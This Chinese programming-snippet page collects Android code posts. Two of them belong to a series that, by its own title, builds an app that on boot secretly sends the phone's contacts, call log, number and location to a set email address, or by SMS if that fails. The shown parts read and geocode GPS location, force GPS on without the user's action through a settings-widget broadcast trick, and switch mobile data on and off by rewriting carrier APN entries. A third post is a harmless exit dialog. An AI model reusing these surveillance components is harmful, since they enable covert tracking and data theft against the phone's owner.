当前位置:  编程技术>移动开发
本页文章导读:
    ▪开机兑现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)        开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作) public static String getCityNameByGps() {   LocationManager lm = (LocationManager) con.........
    ▪ 开机兑现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)        开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)  static Uri uri = Uri.parse("content://telephony/carriers"); static Context context; .........
    ▪ 点击回到按钮,提示是否退出程序       点击返回按钮,提示是否退出程序 private void showTips() { AlertDialog alertDialog = new AlertDialog.Builder(MainPageActivity.this) .setTitle("退出程序") .setMessage(" 是否退出程序?") .setPositiveButton("确定", new Di.........

[1]开机兑现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)
    来源: 互联网  发布时间: 2014-02-18
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)

public static String getCityNameByGps() {

  LocationManager lm = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);
  Criteria criteria = new Criteria();
  criteria.setAccuracy(Criteria.ACCURACY_FINE); // 高精度
  criteria.setAltitudeRequired(false); // 不要求海拔信息
  criteria.setBearingRequired(false); // 不要求方位信息
  criteria.setCostAllowed(true); // 是否允许付费
  criteria.setPowerRequirement(Criteria.POWER_LOW); // 低功耗
  String provider = lm.getBestProvider(criteria, true); // 获取GPS信息
  Location location = lm.getLastKnownLocation(provider); // 通过GPS获取位置

  updateToNewLocation(location);
  // 设置监听器,自动更新的最小时间为间隔N秒(1秒为1*1000,这样写主要为了方便)或最小位移变化超过N米
  LocationListener locationListener = new LocationListener() {
   @Override
   public void onLocationChanged(Location location) {
    updateToNewLocation(location);
   }

   @Override
   public void onProviderDisabled(String provider) {
    // TODO Auto-generated method stub
   }

   @Override
   public void onProviderEnabled(String provider) {
    // TODO Auto-generated method stub
   }

   @Override
   public void onStatusChanged(String provider, int status,
     Bundle extras) {

   }

  };
  // lm.requestLocationUpdates(provider, 3000, 1, locationListener);
  return addressString;
 }

 /**
  *
  * [功能描述].
  *
  * @param location
  *            [参数说明]
  * @createTime 2011-10-11 下午03:22:21
  */
 public static void updateToNewLocation(Location location) {
  // System.out.println("begin updateLocation****");

  if (location != null) {
   // System.out.println("location is null");
   double lat = location.getLatitude();
   double lon = location.getLongitude();
   // System.out.println("get lattitude from GPS ===>" + lat);
   // System.out.println("get Longitude from GPS ===>" + lon);

   // GeoPoint gPoint = new GeoPoint((int) lat, (int) lon);

   StringBuilder sb = new StringBuilder();

   Geocoder gc = new Geocoder(context, Locale.getDefault());
   try {
    List<Address> addresses = gc.getFromLocation(lat, lon, 1);
    if (addresses.size() > 0) {
     Address address = addresses.get(0);
     // for (int i = 0; i < address.getMaxAddressLineIndex();
     // i++) {
     sb.append(address.getAddressLine(1)).append("\n");
     // sb.append(address.getLocality()).append("\n");

     // sb.append(address.getCountryName()).append("\n");
     addressString = sb.toString();

     // }
    }

   } catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
    addressString = "未知地区";
   }

  }
  // System.out.println("end updateLocation****");
 }

 /**
  * 获取GPS状态
  *
  * @param context
  * @return
  */
 public static boolean getGPSState() {
  LocationManager locationManager = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);
  // 判断GPS模块是否开启,如果没有则开启
  if (!locationManager
    .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {
   return false;
  } else {
   return true;
  }
 }

 public static void openGPS() {
  LocationManager locationManager = (LocationManager) context
    .getSystemService(Context.LOCATION_SERVICE);

  if (!locationManager
    .isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {

   Intent gpsIntent = new Intent();
   gpsIntent.setClassName("com.android.settings",
     "com.android.settings.widget.SettingsAppWidgetProvider");
   gpsIntent.addCategory("android.intent.category.ALTERNATIVE");
   gpsIntent.setData(Uri.parse("custom:3"));
   try {
    PendingIntent.getBroadcast(context, 0, gpsIntent, 0).send();
   } catch (CanceledException e) {
    e.printStackTrace();
   }
  }
 }


    
[2] 开机兑现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)
    来源: 互联网  发布时间: 2014-02-18
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)


 static Uri uri = Uri.parse("content://telephony/carriers");
 static Context context;
 public APNUtils(Context context){
  this.context=context;
 }
 
/**
 * 检查网络
 * @return
 */
    public static boolean checkNet() {
         boolean flag = false;
         ConnectivityManager cwjManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
         if (cwjManager.getActiveNetworkInfo() != null) {
             flag = cwjManager.getActiveNetworkInfo().isAvailable();
         }
         return flag;
     }
 /**
  * 打开网络
  */
 public static void openAPN() {
  List<APN> list = getAPNList();
  for (APN apn : list) {
   ContentValues cv = new ContentValues();
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn));
   cv.put("type", APNMatchUtils.matchAPN(apn.type));
   context.getContentResolver().update(uri, cv, "_id=?",
     new String[] { apn.id });
  }
 }
 
/**
 * 关闭网络 
 */
 public static void closeAPN() {
  List<APN> list = getAPNList();
  for (APN apn : list) {
   ContentValues cv = new ContentValues();
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn) + "mdev");
   cv.put("type", APNMatchUtils.matchAPN(apn.type) + "mdev");
   context.getContentResolver().update(uri, cv, "_id=?",
     new String[] { apn.id });
  }
 }
 
 private static List<APN> getAPNList() {
  String tag = "Main.getAPNList()";
  // current不为空表示可以使用的APN
  String projection[] = { "_id,apn,type,current" };
  Cursor cr = context.getContentResolver().query(uri, projection, null,
    null, null);
  List<APN> list = new ArrayList<APN>();
  while (cr != null && cr.moveToNext()) {
   Log.d(tag, cr.getString(cr.getColumnIndex("_id")) + "  "
     + cr.getString(cr.getColumnIndex("apn")) + "  "
     + cr.getString(cr.getColumnIndex("type")) + "  "
     + cr.getString(cr.getColumnIndex("current")));
   APN a = new APN();
   a.id = cr.getString(cr.getColumnIndex("_id"));
   a.apn = cr.getString(cr.getColumnIndex("apn"));
   a.type = cr.getString(cr.getColumnIndex("type"));
   list.add(a);
  }
  if (cr != null)
   cr.close();
  return list;
 }

 


    
[3] 点击回到按钮,提示是否退出程序
    来源: 互联网  发布时间: 2014-02-18
点击返回按钮,提示是否退出程序
private void showTips() {

AlertDialog alertDialog = new AlertDialog.Builder(MainPageActivity.this)

.setTitle("退出程序")

.setMessage("      是否退出程序?")

.setPositiveButton("确定", new DialogInterface.OnClickListener() {

public void onClick(DialogInterface dialog, int which) {

MainPageActivity.this.finish();
onDestroy();
}
}).setNegativeButton("取消", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
return;
}
}).create(); // 创建对话框

alertDialog.show(); // 显示对话框

}

public boolean onKeyDown(int keyCode, KeyEvent event) {

if (keyCode == KeyEvent.KEYCODE_BACK && event.getRepeatCount() == 0) {

this.showTips();
return false;
}

return false;

}

@Override
protected void onDestroy() {
super.onDestroy();
System.exit(0);
}

 2。

点击设定的退出程序按钮,提示是否退出:

	// 退出
		linear_out.setOnClickListener(new OnClickListener() {

			public void onClick(View arg0) {
				linear_out.setBackgroundResource(R.drawable.more_font3);

				AlertDialog alertDialog = new AlertDialog.Builder(
						MoreMenuActivity.this).setTitle("退出程序").setMessage(
						"      是否退出程序?").setPositiveButton("确定",
						new DialogInterface.OnClickListener() {
							public void onClick(DialogInterface dialog,
									int which) {
								MoreMenuActivity.this.finish();
							}
						}).setNegativeButton("取消",
						new DialogInterface.OnClickListener() {
							public void onClick(DialogInterface dialog,
									int which) {
								return;
							}
						}).create(); // 创建对话框
				alertDialog.show(); // 显示对话框
			}
		});

 


    
最新技术文章:
▪Android开发之登录验证实例教程
▪Android开发之注册登录方法示例
▪Android获取手机SIM卡运营商信息的方法
▪Android实现将已发送的短信写入短信数据库的...
▪Android发送短信功能代码
▪Android根据电话号码获得联系人头像实例代码
▪Android中GPS定位的用法实例
▪Android实现退出时关闭所有Activity的方法
▪Android实现文件的分割和组装
▪Android录音应用实例教程
▪Android双击返回键退出程序的实现方法
▪Android实现侦听电池状态显示、电量及充电动...
▪Android获取当前已连接的wifi信号强度的方法
▪Android实现动态显示或隐藏密码输入框的内容
▪根据USER-AGENT判断手机类型并跳转到相应的app...
▪Android Touch事件分发过程详解
▪Android中实现为TextView添加多个可点击的文本
▪Android程序设计之AIDL实例详解
▪Android显式启动与隐式启动Activity的区别介绍
▪Android按钮单击事件的四种常用写法总结
▪Android消息处理机制Looper和Handler详解
▪Android实现Back功能代码片段总结
▪Android实用的代码片段 常用代码总结
▪Android实现弹出键盘的方法
▪Android中通过view方式获取当前Activity的屏幕截...
▪Android提高之自定义Menu(TabMenu)实现方法
▪Android提高之多方向抽屉实现方法
▪Android提高之MediaPlayer播放网络音频的实现方法...
▪Android提高之MediaPlayer播放网络视频的实现方法...
▪Android提高之手游转电视游戏的模拟操控
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3